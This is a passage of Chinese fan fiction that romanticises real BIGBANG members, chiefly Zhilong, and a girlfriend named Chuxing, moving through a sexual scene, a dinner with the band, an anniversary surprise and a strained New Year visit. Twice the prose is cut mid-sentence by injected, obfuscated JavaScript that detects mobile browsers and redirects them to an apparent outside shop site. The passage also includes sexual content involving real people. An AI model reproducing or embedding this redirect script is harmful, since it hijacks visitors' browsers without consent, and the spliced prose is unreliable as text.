在他的唇再次落下,即将吻上她锁骨,手也探向她衣摆的时刻,他扔在沙发角落的手机,不合时宜地响了起来。 两人同时一僵。至龙咒骂了一声,额头抵着初星的肩膀吻着,根本不想理会。可手机顽固地持续响着,大有一种不接就不罢休的气势。 ,努力平复着剧烈的喘息, “啧..可能是经纪人。”至龙努力平复着剧烈的喘息,极其不情愿地撑起身子,抓过手机看了一眼屏幕,果然是他。 他耙了耙头发,按下了接听键:“喂?” “至龙啊,没打扰你休息吧?明天的行程有些调整,跟你最后确认一下,上午十点杂志拍摄,下午两点….””经纪人的声音从听筒里传来。 至龙费力集中精神听着,但初星就靠在他怀里,刚才的激情余温未退,让他很难专注。他含糊地应着:“嗯……十点……知道了…..” 初星看着他强自忍耐讲电话的样子,又想起刚才他得意洋洋炫耀的模样,起了点坏心思。 她抬起头,嘴唇碰了碰他的下巴。 至龙身体微微一颤,垂眸看她,空着的那只手更紧地搂住了她的腰,指尖在她腰侧轻轻摩挲,示意她别闹,嘴角却噙着享受的笑意。 “嗯,那个电台预录.….”经纪人还在继续。 初星见他不阻止,胆子更大了些。她再次仰头,这次吻在了他的喉结上,还恶作剧般地用舌尖舔了一下。 “呃…”至龙浑身一震,发出一声压抑的闷哼。 “怎么了?”经纪人有些疑惑。 “没……没事!”至龙看着怀里笑得像只偷腥小猫的初星,投去一个警告的眼神,却又充满了爱怜,捏了捏她的鼻尖。 初星玩心达到顶峰,她看到至龙要回应,刚清了清嗓子,准备开口:“嗯.……” 她再次直起身,准确地吻住了他的唇,想如法炮制地堵住他的话。 然而,这一次的触感却截然不同。 他的嘴唇在她贴上的瞬间便本能地张开,舌尖带着灼热的温度探出,熟练地纠缠住她的,这个吻不再是玩笑般的堵截,而是立刻滑向了失控的边缘,带着清晰不过的欲望和占有欲。 初星的脑子“嗡”的一声从恶作剧的兴奋中惊醒,猛然意识到自己玩脱了。 完了!他根本不在乎电话了! 她惊慌失措地推开他,小脑袋向后缩去,手忙脚乱地指着还在通话中的手机,用口型无声地尖叫: “电话!电话还在听!!” 至龙的吻骤然落空,他喘着粗气,眼神一片深暗,里面翻滚着被打断的懊恼和尚未消散的浓烈渴望。他看着她被吓得又急又怂的样子,差点气笑又心痒难耐。 电话那头的经纪人只听到一阵更加奇怪的、模糊的喘息和急促的杂音,甚至还有一声短促的惊呼? “至龙?!你到底在干嘛?你那边什么情况?”经纪人的彻底怀疑了。 至龙狠狠闭了下眼,压下快要冲破理智的躁动,对着话筒,“没事!哥……刚才……碰到了一下……现在真的非常、非常不方便!行程明天再说!” 他几乎是从牙缝里挤出最后几个字,不给经纪人再追问的机会按断,手机砸在地毯上发出沉闷的声响。室内只剩下两人剧烈的心跳和粗重的呼吸声在空气中交织、碰撞。 初星眼神飘忽不定,根本不敢直视至龙眼中危险而炽热的光芒。她下意识地想从他禁锢般的怀抱里挣脱出来,身体刚向后缩去,嘴里小声嘟囔着试图推卸责任:“……我、我不是故意的……谁让你……你刚才在成员面前那么得意…….” 可她话音未落,至龙的手臂便骤然收紧,轻而易举地将她试图逃离的动作扼杀在摇篮里。她像只受惊后想弹开却被牢牢按住的小兔子僵在他怀里。 “跑什么?”至龙低沉的笑声在她耳畔响起,震得她耳膜发痒。他非但没有松开,反而得寸进尺地用高挺的鼻尖暧昧地蹭了蹭她早已红得滴血的耳垂和颈侧肌肤,灼热的呼吸喷洒在上面,激起一阵细密的战栗。 “捣乱的时候,胆子不是挺大的吗?嗯?”他的尾音上扬,带着毫不掩饰的戏谑和一种危险的宠溺。 “现在知道怕了?点了火,就想跑?” 他的指尖轻轻抬起她的下巴,迫使她看着自己,目光灼灼:“晚了。” “我.....我错了还不行吗.....”初星水汪汪的眼睛里满是无措和害怕,脸颊埋进他颈窝里,根本不敢看他。像只被猎人逼到角落、无处可逃的受惊小鹿。 至龙宽大的手掌开始轻柔地一下下抚摸着她颤抖的后背,心底满是想要将她彻底吞噬的怜爱和占有欲,但语气里的温柔却像最浓稠的蜜糖,几乎能将人溺毙:“宝贝,转过去好不好?我们换个姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912179|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势。” 初星脑袋摇得像拨浪鼓,整个人更紧地往他怀里缩,发出抗拒的呜咽声。“疼。” 至龙爱怜地亲了亲她,声音放得更低更柔,带着诱哄:“就这一次,相信我,我会很轻很轻的,我保证。” 他抬起手,拇指指腹温柔地摩挲着她发烫的肩膀,“我什么时候骗过你,嗯?” 在他的柔声哄劝和安抚的动作下,初星紧绷的神经稍稍松懈。她怯生生地望向他,“就一次?” “嗯。”至龙郑重地点头,眼神真诚得不容置疑。他慢慢引导着她,帮助她转过身,背对着他趴在柔软的沙发上。 不知过了多久,激烈的浪潮退去。初星枕着至龙的手臂,陷入了沉沉的睡眠。 至龙却没有什么睡意。他侧躺着,手有一下没一下地轻抚着她光滑的脊背,目光像是被黏住了一样,久久流连在她恬静的睡颜上。 窗外的城市之光透过纱帘,柔柔地洒进来,足以让他描绘她的轮廓。他的目光细细掠过她微蹙的眉心,浓密卷翘的睫毛,挺翘的鼻尖,最后落在被他吻得红肿的唇瓣上。 他忍不住支起身,珍惜地吻上去,又吻了吻那颗小痣。 吻很轻,几乎没有重量,却带着千钧重的情意。 睡梦中的初星无意识地嘤咛了一声,更深地陷进枕头里。 至龙把她更紧地拥入怀中,嗅着她身上的香气。 寂静中,他低沉而沙哑的声音响起,像是最温柔的耳语,又像是最郑重的誓言,落在她的耳畔,也烙印在自己的心底: “不准再那样吓我了……” “不准不接电话……” “不准……”他顿了顿,手臂收得更紧,带着深藏在心底的不安和脆弱,“……离开我。” 沉睡中的初星无法回应。但她仿佛听到了这来自灵魂深处的请求,在梦中,她伸出手,回抱住了他。 至龙感受到腰间那一点点微小的力度,一直紧绷的心弦松弛下来。他闭上眼,嘴角带着无比满足和安心的弧度,与她鼻息交融,沉沉睡去。 窗外,新年的第一缕曙光即将穿透云层。而室内,相爱的人相拥而眠。 … 套房内初星窝在沙发里,抱着电脑漫无目的地刷着,心思却不在那闪烁的屏幕上。 门被人从外面打开。 至龙走进来,第一时间就捕捉到了沙发上的身影,眉眼间的倦色顿时消散。 “我回来了。”他痴笑着朝她走去。 初星听见动静,眼皮都没抬一下,只是更往沙发里缩了缩,手指在平板上划得更快了些,浑身散发着“不想理你”的低气压。 至龙走到沙发边,在她身前蹲下,仰头去看她故意别开的脸,“怎么了?我们娜比看起来不高兴?谁惹你了?” 初星还是不看他,只是鼻子里发出极轻的一声“哼”,带着十足的娇气和不满意。 至龙握住她放在膝盖上的手,指尖在她手背上讨好地来回滑动:“累不累?一天没出去?晚上大家订了家不错的店,一起过去吃饭?嗯?” 他的耐心和温柔无懈可击。但初星想到昨晚后来他那些“惩罚”人的强势手段和羞耻的“daddy”,就觉得他虚伪得很! 她终于扭回头,怒嗔道:“你每次都这样说完就忘!你根本就是两个样子!总是那么……那么强势!根本不管我!” 至龙的耳根瞬间红了,喉结滚动:“对不起,真的对不起……是我太……太过分了。看到娜比就……我下次一定控制,真的,我发誓。弄疼你了是不是?哪里不舒服?我帮你揉揉?” 他说着,竟然真的想伸手去检查。 初星脸上发烧,拍开他意图“检查”的手:“呀!谁要你揉!” 被她拍开,至龙也不恼,反而松了口气,肯跟他动手,就说明气消了些。 他重新握住她的手,贴在自己脸颊上蹭了蹭,拉长了小奶音:“那你不生气了?原谅我这一次,好不好?宝宝,我错了。” 他又用上了那种让她心软的、软绵绵的语气。 初星彻底没了脾气。她垂下眼帘,小声说着,算是给了台阶下:“……下次轻一点。” “好!一定轻轻的!都听你的。”至龙如蒙大赦,笑嘻嘻的陪着笑,把她从沙发上拉起来,顺势搂进怀里,“饿不饿?带你去吃好吃的?” 初星撅着嘴点了点头。至龙嘬嘬嘬亲了好几下,才拿好初星的外套和包出门,目光始终胶着在她身上,仿佛怎么看都看不够。 73.第 73 章 至龙搂着初星走进餐厅包间,四双眼睛齐刷刷地看了过来,带着心照不宣的调侃笑意。 初星被看得有些不自在,想挣脱开一点,却被至龙更紧地搂着,手掌在她腰侧安抚性地按了按。 至龙蹲下身,灵活地解开初星短靴的系带,一手托住她的脚踝,另一手帮忙脱下后拿起旁边准备好的拖鞋,仔细地套好。 “哇哦,这么多年了,至龙哥这套‘侍奉流程’还是这么熟练,一点没退化,甚至更精进了。”胜利摇着头,脸上是“又来了”的表情。 TOP含糊地附和:“初星的脚是沾不得半点灰尘是吧?” 永裴使了个眼色,大声立马拿出手机,假装在玩,实则摄像头对准了那边,记录这经典场面。 至龙面不改色地完成一系列动作后,站起身,顺手帮初星理了理鬓边的头发,拉着她坐下。 “点菜了吗?饿死了。”至龙把话题扯开。 “点了点了,就等你们了。”永裴示意候在一旁的服务员开始上菜。 菜品陆续被端上桌,刺身拼盘色泽鲜亮,寿司卷造型优美,天妇罗炸得金黄酥脆,烤物散发着诱人的焦香。琳琅满目的菜品很快铺满了桌面。 “尝尝这个鳗鱼,应该不腥,酱汁是甜的。” “玉子烧温度刚好,小心有点烫。” 至龙全程都在照顾她,自己都没顾上吃几口。初星小口小口地吃着,每样只是浅尝辄止。 成员们吃着聊着工作趣事,偶尔把话题抛给初星,她也只是笑着简单回应几句。 至龙看着她又一次放下筷子,碟子里的食物几乎没怎么动,一丝心疼掠过眼底。他知道她吃不惯这些,对生冷海鲜向来敬而远之。他放下自己的筷子,拢着她的手:“是不是都不合胃口?味道太淡了?还是生冷的东西看着没食欲?要不要再点些别的?热汤?或者拉面?” 初星反手握了握他的手指,宽慰道:“不用麻烦了,只是不太饿。” 刚好服务员端上几碗拉面。热气腾腾的拉面引起了初星的一点兴趣,目光在碗上停留了片刻。至龙迅速挪到她面前,切好溏心蛋,又把叉烧肉片往她那边推了推:“吃点这个,热的,多喝点汤,暖暖胃会舒服很多。” 初星重新吃起了起来,但也只是吃了小半碗就又放下了筷子。 至龙看着她剩下了一大半的面条和眼前一堆她不爱吃的菜,心里堵得发慌。他看着初星,瘪着嘴,满是心疼和自责: “我们娜比怎么吃得这么少……这些都不是你爱吃的对不对?”他抬手,揉了揉她似乎瘦了点的脸颊,“出来一趟跟着我,什么都吃不好,人都瘦了可怎么办……” 他越说越难受,觉得自己让她受了委屈,声音有些哽咽:“下次……下次别来日本找我了,看你吃得不开心,我心里难受,会心疼死的。等我,等我忙完这边的工作,就立刻飞回去找你。带你去吃爱吃的火锅,吃烤肉,吃什么都行,把你喂得饱饱的,好不好?” 其他四位成员一脸没眼看,又早已习惯了至龙在初星面前这副“老父亲”般操心过度、毫无原则又乐在其中的样子了。 初星羞得想找个地缝钻进去。她掐了一下他的手心,嗔怪道:“哎呀,你干嘛呀……胡说八道什么呢!我没那么娇气,就是不太饿而已。而且我还跟珍雅约好了以后还要来日本玩呢。” “怎么不娇气?”至龙更来劲了,捏着她的手不放,语气更加认真,甚至带着点“你必须承认”的执拗,“我们娜比就是最娇气的,一点委屈都不能受,一点不合胃口的东西都吃不下。” 他转头对成员们寻求认同,半是抱怨半是炫耀,眼底却藏着得意,“你们看看,她就是这样,总是不好好吃饭,挑食得很,真让人操心,是不是?” top是真的想一拳揍死这个秀恩爱的家伙:“行了行了,知道你的宝贝受委屈了。赶紧吃完,回去给她点外卖行了吧?” 永裴笑着打圆场:“就是,至龙,初星又不是小孩子了,她知道饿不饿。” 大声和胜利憋着笑点头。 至龙像是被说服了,稍微放松了点表情。他又给初星盛了半碗热汤,看着她勉强又喝了几口,才安心些,重新拿起自己的筷子,只是眉宇间还残留着一点因为没能让她吃好而产生的耿耿于怀。 晚餐接近尾声,杯盘狼藉的餐桌被收拾干净,服务员送上一大盘饭后水果。 果盘刚上桌,至龙瞬间锁定了那几个橘子。他立刻伸手拿过最大的一个,在手里掂了掂,然后低头专注地剥了起来。 胜利夹起蜜瓜吃了起来,余光瞥见至龙的举动,瞪大了眼睛,看着至龙耐心地一点点撕掉橘瓣上白色的橘络。那专注细致的样子,比自己数钱还要认真百倍。 “大发……!各位!快看!至龙哥的‘橘子美学’开始了!这去络工艺,堪称一绝!”胜利惊叹的指向至龙。 大声和永裴好奇地看了过去。只见至龙已经将剥得干干净净、只剩下饱满果肉的橘子瓣,仔细地码放在碟子里,推到了初星面前,柔声说:“吃这个,很甜,白丝都去掉了,不会苦。” 初星叉起一瓣放进嘴里,细细品味后,点了点头:“嗯,是挺甜的。” 三位成员看着这行云流水的一幕,集体沉默了两秒。 top原本坐得笔直,小口品着杯中清茶,仿佛在参透什么人生哲理。听到动静,他威严的目光扫了过来,定格在那碟橘子肉上。 就在大家以为老大哥要发表什么成熟稳重的评论时,他不知从哪里掏出了手机!动作之快,让人瞠目。 “等等!先别动!”他声音洪亮地阻止了初星伸向下一瓣橘子的手,“这个构图!这个光线!这碟被精心剥离、毫无杂质的橘子,在深色桌面的映衬下,呈现出一种极致的、充满爱意与奉献精神的……‘纯粹食欲与美学表达’!完美!这光影,这色彩对比!让我拍下来!绝对有资格登上生活杂志的‘情感与物质’专栏!” 他说着,调整了好几个角度,对着那碟橘子“咔嚓咔嚓”连拍了好几张,认真得像在拍摄价值连城的油画。 胜利:“……” 大声:“……” 永裴:“……” 三人再次被大哥这天马行空、永远抓不住重点的艺术细胞整得无言以对。 胜利好不容易从石化状态中恢复,合上惊讶的嘴巴,决定把话题强行拉回“正常人类”的轨道。他指着橘子,痛心疾首地“控诉”:“哥!你看TOP哥!他的重点是不是又歪到银河系去了!重点是至龙哥令人发指的区别待遇!他的‘极致美学’为什么只对初星怒那生效?认识至龙哥这么多年了,对我们只有一句‘自己动手,丰衣足食’!” 大声委屈的声援:“就是说啊至龙哥,上次我重感冒,喉咙痛得厉害,想吃个橘子润润喉,让你帮我从果盘里拿一下,你当时说什么来着?你说‘感冒吃橘子会好吗?’然后义正辞严地让我‘多喝热水’!现在呢?橘子皮和橘络是有什么致命病毒吗?需要你这样剥离?” 永裴温温和和地补刀:“对我们,你都是‘自己拿’,‘想吃啥点啥,我买单’。买单和亲手剥橘子还去络,这待遇差距是不是有点……过于悬殊了?我们的心也是肉长的啊,至龙。” 至龙丢给他们一个理所当然的眼神,从top的镜头“保护”下把橘子扒拉回初星面前,慢悠悠的回怼: “你们能跟她比吗?”(理直气壮) “你们吃橘子还用剥?连皮带络一起吃下去都能消化。”(嫌弃脸) “想吃自己动手,又不是没手没脚。”(轻描淡写) “再吵下次聚餐连单都不买了,AA制。”(终极威胁) 他的回答堪称“重色轻友”的典范,逻辑清晰,态度坚决,毫无悔意。 初星被他们一来一往的互动逗得笑出泪,既有点不好意思,心里又被至龙明目张胆的偏爱填得甜丝丝的。 她把橘子往桌子中央推了推:“欧巴们,别光看着,你们也吃啊。” 成员们看着初星真诚的眼神,又看看至龙那副“谁敢动我宝贝的橘子试试”的护食眼神,纷纷摆手拒绝,表情滑稽。 胜利:“不了不了,这是至龙哥倾注了‘爱与美学’的代表作,我们吃了怕破坏艺术品的完整性和神圣性。” 大声:“这橘子太金贵,承载了太多情感附加值,我等凡人肠胃脆弱,无福消受。” 永裴调侃道:“初星啊,你还是自己享受吧,看他那眼神,我们要是真吃了,下次别说买单,估计连门都不让我们进了。” top心满意足地放下手机,恢复了一本正经的沉稳模样:“嗯,照片拍得很好,光影捕捉到位。初星啊,你吃吧,这份‘爱的具象化产物’需要被正确的、带着感恩的心品尝。” 说完,他若无其事地端起了他的茶杯,轻轻吹了吹,仿佛刚才那个上蹿下跳、寻找最佳角度的“艺术家”不是他。 茶杯刚送到嘴边,他猛地再次放下杯子,杯底与碟子碰撞发出“咚”的一声轻响。 “不过,至龙啊,”top非常认真地发问,“我突然想到一个非常关键的技术性问题。” “如果……我是说如果,未来的某一天,初星哪天突然提出,她想吃……嗯……完全没有烦人小白籽的草莓……” “你打算怎么办?是不是需要未雨绸缪,先去报个班?比如精密水果外科手术速成班?或者……更有远见一点,投资一个高精度激光剃籽仪的研发项目?” “噗——!”正在喝水的胜利直接喷了出来,捶着桌子狂笑,眼泪都快出来了。 大声张大了嘴巴,眼睛都大了不少,大脑一时无法处理。永裴也扶额,笑得说不出话来。 至龙也被问得愣了一下。他看着旁边同样被这脑洞大开的问题逗笑的初星,想了想,这也不是不可能…… 随后,他郑重其事地回答:“嗯……激光可能温度不好控制,会影响口感和营养价值。还是手工比较靠谱,可能需要定制一套微雕工具?或者用精度更高的镊子?回头我让经纪人帮忙问问有没有这方面的专家……” “哇哈哈哈哈!”胜利已经笑瘫在椅子上,捂着肚子,“专家?!工具?!至龙哥你要笑死我继承我的黑眼圈吗?!草莓籽那个东西……它其实是可以吃的啊!!” 大声一边笑一边试图找回理智:“哥……草莓籽……其实没什么味道……嚼嚼就咽下去了……” 永裴上气不接下气:“哥……至龙……你俩真是……太般配了……” 初星靠在了至龙肩膀上,拽了拽他的袖子,又羞又好笑:“呀!权至龙!你别跟着胜铉欧巴瞎闹!我吃草莓不挑籽!正常吃就行!” 至龙这才从“如何给草莓祛籽”的宏大构想中被拽回现实,低头看着笑倒在自己怀里的初星,也跟着笑了起来,伸手捏了捏她发红的脸颊:“好吧,你说的算。不过……万一你以后哪天突然想尝试一下呢?随时告诉我,我来想办法。” 语气里的笃定和宠溺,让人毫不怀疑,他随时准备为她的任何异想天开买单。 老大哥满意地点了点头,重新靠回椅背:“嗯,未雨绸缪是对的。爱,往往就体现在对这种细节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925219|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的 Preparedness(预先准备)和解决方案的探索上。” 一行人笑笑闹闹地回到酒店地下停车场。 “走了走了,明天还得早起彩排!命苦啊!”胜利伸着懒腰离开。 “初星晚安,至龙哥……注意休息,保存体力!”大声憨厚地笑着,被永裴拉走。 top也迈着稳健的步伐离去。 初星正准备走,手腕却被至龙握住。 “娜比,等一下。”他的声音在空旷安静的停车场里格外温柔。 “嗯?”初星疑惑地转头看他。 至龙抬手遮住她的眼睛,另一只手扶住她的腰,带着她慢慢转向某个方向。“闭上眼睛,跟我来,带你看个东西。” “干嘛呀?神神秘秘的……”初星嘴上嘀咕着,心里因为这份突如其来的仪式感泛起涟漪,嘴角忍不住上扬,顺从地闭上了眼,任由他引领着自己。她能感觉到他带着她走了好一会,似乎绕过了什么,之后停了下来。 她听到至龙打了个清脆的响指,或者是发出了什么信号。 然后,他温热的气息贴近她的耳畔,声音里带着压抑的兴奋和期待:“好了,可以睁开了。” 覆盖在她眼睛上的手缓缓移开。 与此同时—— 砰的一声轻响,并没有很大声,但足够吸引注意力。只见车辆的后备箱盖自动升起。 下一秒,初星的眼睛瞬间被眼前的光芒点亮! 整个后备箱的空间被布置得如同一个梦幻的秘密花园!饱满鲜艳的红玫瑰与温柔浪漫的粉玫瑰簇拥成一片绚烂的花海,中间缠绕着星星点点的暖黄色小串灯,如同散落的繁星坠入花丛。几只毛茸茸的卡通玩偶乖巧地坐在花丛中,氦气球被巧妙地固定在后备箱的边缘和顶部,轻盈地飘动着,气球绳子上也系着更细小的LED闪灯,发出微弱的光芒。 后备箱的最上方,悬挂着一条横幅,上面写着: 【初星&至龙 恋爱五周年快乐】 彩灯闪烁,玫瑰芬芳,气球轻摇,这一切在略显冷清的停车场里,构成了一幅极其浪漫的梦幻画面。 初星完全愣住了,手捂住嘴,眼眶红红的看着眼前的一切。 早就埋伏在柱子后面的胜利跳了出来,手里还拿着遥控器,得意地大喊:“Surprise!至龙哥!兄弟我干的漂亮吧?这遥控距离,这时机刚刚好!” 大声,永裴和top也走了出来,显然都是这场惊喜的共犯。 至龙没有理会兄弟们的邀功和调侃,他的目光始终牢牢锁在初星脸上,捕捉着她每一丝感动的神情。他俯身,在绚烂的花海中取出礼盒。 他转向初星,在她闪烁着泪光的目光中,打开盒子。 黑色的丝绒衬垫上,一顶精致绝伦的钻石冠冕静静地躺在那里,彩灯的折射下迸发出璀璨夺目的光芒!每一颗钻石都切割得极为完美,火彩熠熠,仿佛将夜空中的整条银河都温柔地摘取下来,为她编织成了这顶独一无二的桂冠。 “娜比,11月6号,本来应该是我们恋爱五周年的纪念日。我明明想了很久很久,在心里演练过无数次,要怎么庆祝,要带你去哪个有意义的餐厅,要送你什么才能配得上这个日子……我想给你最好的,最完美的。” 他顿了顿,语气里是掩饰不住的心疼和深深的遗憾:“结果就因为行程,我在国外跑宣传,你也有工作脱不开身……我们连面都没能见上。对不起,错过了那么重要的日子。” 他上前一步,小心翼翼地将冠冕,轻轻地、庄重地戴在初星头上。钻石的光芒映照着她惊讶又动人的脸庞,这一刻,她美得真的像被加冕的公主。 “五周年快乐,我的公主。虽然迟到了快两个月……但我对你的爱,一天都没有迟到,也永远不会缺席。它只会越来越多。”至龙虔诚地看着面前的小公主,眼底是浓得化不开的爱意、骄傲和弥补了遗憾的释然。 初星仰着头,感受着头上轻微却不容忽视的重量,看着眼前这个为她准备了这一切、因为错过纪念日感到抱歉的男人,看着周围闪烁的灯光和朋友们温暖祝福的笑容,积蓄在眼眶里的泪水再也忍不住,滚落下来。 她什么都说不出来,只是扑进了他的怀里,重重点头,紧紧抱着他,湿乎乎的泪打湿了他的衣襟。 “哇哦!!!”胜利带头鼓起掌来,大声和永裴吹着口哨,top举着手机记录着。 至龙松开她一些,双手捧起她的脸,温柔地拭去她不断涌出的泪花: “听着,娜比,这只是我们的第一个五年。” “我们还会有第二个,第三个……直到我们的头发都白了,牙齿都掉光了,直到生命的最后一刻。我都会像现在这样,爱你,宠你,你是我永远的公主。” 她望着他,眼泪落得更凶,但嘴角却高高扬起,绽放出幸福的笑容,一遍遍的点头。 “嘭!嘭!嘭!” 几声欢快清脆的爆裂声突然炸开!五彩缤纷的礼花纸屑从空中纷纷扬扬地洒落,落在他们的头发上、肩膀上,落在璀璨的皇冠上,也落满了周围的车顶和冰冷的水泥地面。 原来是胜利和大声掏出了早就准备好的庆祝礼花筒,一脸恶作剧得逞的灿烂笑容,用力拉响了它们,大声喊道: “五周年快乐!!” “要永远幸福啊!!” “祝福你们!!!” 初星惊呼了一声,随即破涕为笑,看着彼此头上身上的纸屑,又看看至龙被“袭击”后无奈又纵容的笑容,心里被填得满满的,热乎乎的,人也幸福得晕乎乎的。 74.第 74 章 出租车轮胎碾过青石板路缓缓停稳。门楣上的灯笼已然亮起,初星拖着行李箱下车,按下门铃,对讲机里传来外婆带着笑意的声音:“是娜比吗?快进来!” 电动门滑开,舅妈小跑着迎出来接过她的行李:“可算到了!路上辛苦了吧?你外婆从晌午就开始念叨,就怕你路上饿着冻着,心神不宁的!” 小表妹蹦跳着出来,亲热地拉住她的手摇晃,叽叽喳喳地说着准备了什么新年礼物。 初星一一回应,走进屋内,外婆正坐在沙发主位泡茶,舅舅在一旁的单人沙发上,戴着老花镜,看着晚报,听到动静抬起头,镜片后的眼睛露出温和的笑意。 初星打过招呼后,习惯性的拿出手机,:「到了。外婆家还是这么舒服,暖和得像春天。你那边呢?」 刚放下手机,准备坐到外婆身边,像小时候一样依偎着撒娇,眼角的余光透过落地窗,瞥见院门外,有一个熟悉的身影正略显局促地凝立在那里。 初星的心猛烈地跳动起来,撞击着胸腔,发出咚咚的声响,嘴角抑制不住的向上弯起。 他怎么会在这里?!他不是应该在家吗? 她按捺住激动,俏皮的对家人笑了笑:“哎呀,我好像有个快递到了,我出去拿一下!”说完,便快步穿过庭院,走向大门。 电动门再次滑开。至龙看到她,原本有些紧张、无措的眼神,立刻亮了起来,紧绷的肩膀也放松下来。 “你……”初星走到他面前,仰头看他,声音里带着压不住的惊喜和笑意,“你怎么会在这里?!你不是应该在……” 至龙低头看着她,帽檐下的眼睛弯成小月牙:“因为……想你了。”他顿了顿,补充道,声音特别特别轻,“特别想。想和你一起……过年。” 初星听着这话,心好似融化了的巧克力,柔软得一塌糊涂,特别想上去抱抱他亲亲他。 然而,他接下来的话,却像一缕微风,悄然吹散了些许暖意。 “所以,我是不是……应该先进去拜访一下外婆和舅舅?这样一直站在门口,好像不太礼貌……”他期待地看着她,又望向里面雅致温馨的庭院和其乐融融的温暖灯光,想着下一步就该是自然而然地登堂入室,得到她家人的正式认可和欢迎。 初星的笑容淡了些许,下意识地侧身,用自己纤细的身影巧妙地挡了挡他望向院内的视线,“不用了,你……你怎么没先去酒店放行李?就这么直接拖着箱子过来了?” 至龙无措地眨了眨眼,有些茫然和一点点委屈:“我忘了。而且……没订酒店。” “没订酒店?!”初星的声音拔高,“那你……” “可是……”志龙还想说什么,他对不被允许进门感到受伤,眼神里带着询问。 “先走吧。我带你去找酒店安顿下来。”她再次打断他可能想做的解释或坚持,伸手拉过他的行李箱,都没有看他,率先转身,沿着街道走去。 至龙站在原地,顿了一秒,看着她急促的背影,口罩下的唇角抿起,又沉默地跟上她的脚步,高大的身影在冬日寂静的街道上,映着两旁住户窗内透出的团圆灯火和欢声笑语,显得格外孤单和格格不入。 初星能感觉到他的目光一直落在她背上,忍不住慢下脚步,偷偷瞥了他一眼。 至龙低着头,帽檐压得更低了,平时总是盛满笑意的眼睛被遮挡,整个人像一只被主人呵斥后、默默跟在身后的大狗狗。 初星心里又酸又涩,她停下脚步,转过身,面对着他。 至龙也立刻停下,慌乱地抬起头,帽檐下的眼睛迅速看向她,带着一丝小心翼翼的询问和不易察觉的期盼,但他没有先开口,忐忑地等待她的下一道指令,或是一个解释或转机。 看着他可怜兮兮的样子,初星所有那些说不清道不明的情绪消散了大半,只剩下心疼和觉得自己刚才有点过分的愧疚。 她看着他被冻得有些发红的耳朵,态度放缓了许多:“……冷不冷?” 至龙摇了摇头,声音闷闷的,带着点鼻音:“不冷。” “你……”初星犹豫了一下,还是问出口,“你什么时候到的?怎么……找到这里的?” “比你晚一班飞机。问了珍雅,她……帮忙的。想给你……一个惊喜的……” 至龙老实地回答,情绪依旧不高。 但他精心策划的惊喜好像变成了她的困扰。 初星走上前,拉下他的口罩,手指捂着他冰凉的耳尖,“笨蛋,来了也不提前说一声,吓我一跳,也冻坏了吧?” 看到她态度软化,至龙眼底的光彩慢慢回来了一些。他握住她同样微凉的手,用自己温热得多的大掌紧紧包裹住:“提前说了……就不叫惊喜了。” 他仔细看着她的表情,带着点不确定的脆弱和寻求确认的渴望追问,“你……刚才是不是不高兴了?因为我……突然过来?” 初星一时语塞,含糊地咕哝:“没有……就是太突然了,有点没反应过来。而且你穿这么少站在外面,我怕你感冒嘛。” 至龙静静看了她几秒,最终,他选择相信这个解释,或者说,他愿意接受这个解释。 他重新握紧她的手:“真的?不是讨厌我突然过来?” “真的不是。”初星肯定地点点头,努力露出真诚的笑容。 两人之间的气氛缓和了很多,在附近找酒店办理入住。 走进房间,至龙把初星拉进怀里,脑袋搁在她的颈窝里,鼻尖感受着隐藏在皮肤下的跳动:“晚上……年夜饭,我……我不能……一起去吗?哪怕只是进去打个招呼,给外婆舅舅拜个年?” 初星的身体僵了一下,从他怀里退出一点,扭头避开了他期待的目光,喉咙有些发紧:“你……你乖乖呆在酒店。我……我晚点找个借口,溜出来找你好不好?” 至龙固执的追问,“为什么……我不能去拜访一下?我只是想正式地问候一下外婆和舅舅,这是基本的礼貌,也是我的心意,不是吗?” 初星垂下眼帘,手指无意识地绞着大衣的腰带,声音低了下去,几乎含在喉咙里:“我只是……” “只是什么?”至龙不肯放弃,向前逼近一步,紧紧盯着她,试图从她低垂的眼睫和躲闪的神情里找到答案,“娜比,告诉我,为什么?是我哪里做得不好吗?还是你不希望……你的家人知道我?” “不是你的问题……”初星下意识避开后面的问题,艰难的开口,却又无法给出更有说服力的解释。 “那是什么?我家里人不是都见过你了吗?他们都很喜欢你,你们还经常一起吃饭,相处得很自然,很愉快,不是吗?” 在他看来,这一切都是顺理成章、双向奔赴的关系进展,是亲密和信任的自然延伸,为什么到了她这里,就变得如此困难。 初星张了张嘴,却发不出任何声音,只能无力地摇头。她没法解释自己内心深处关于关系进度、个人界限和某种微妙心理的模糊地带。 至龙看着她沉默抗拒的样子,一个更糟糕、更让他害怕的念头突然窜入脑海。 他脸色苍白,身体难以置信的剧烈颤抖起来:“还是你觉得……我们的感情……” 不值得你介绍给家人?还没到那个地步? 后面的话太过尖锐,也太过危险,他不敢问出口,只是用受伤又恐惧的眼神看着她。 初星被他眼里的痛苦刺中,连忙摇头,重复着:“不是的……你别乱想……” 至龙闭上眼睛,深吸了一口气,再睁开时松开了握着她的手,向后退了一小步,拉开了两人之间的距离。 他低下头,帽檐遮住了他的表情,只听到他极其低沉、仿佛耗尽了所有力气的声音: “好……我知道了。” “你……先回去吧。年夜饭……别让家人等。” 初星看着他疏离的样子,心里涌起巨大的慌乱和愧疚,她想说点什么,却发现自己词穷得可怕。最后,她只是咬了咬嘴唇,小声说着:“那我……晚点再来看你。” 至龙没有回应,只是依旧低着头。 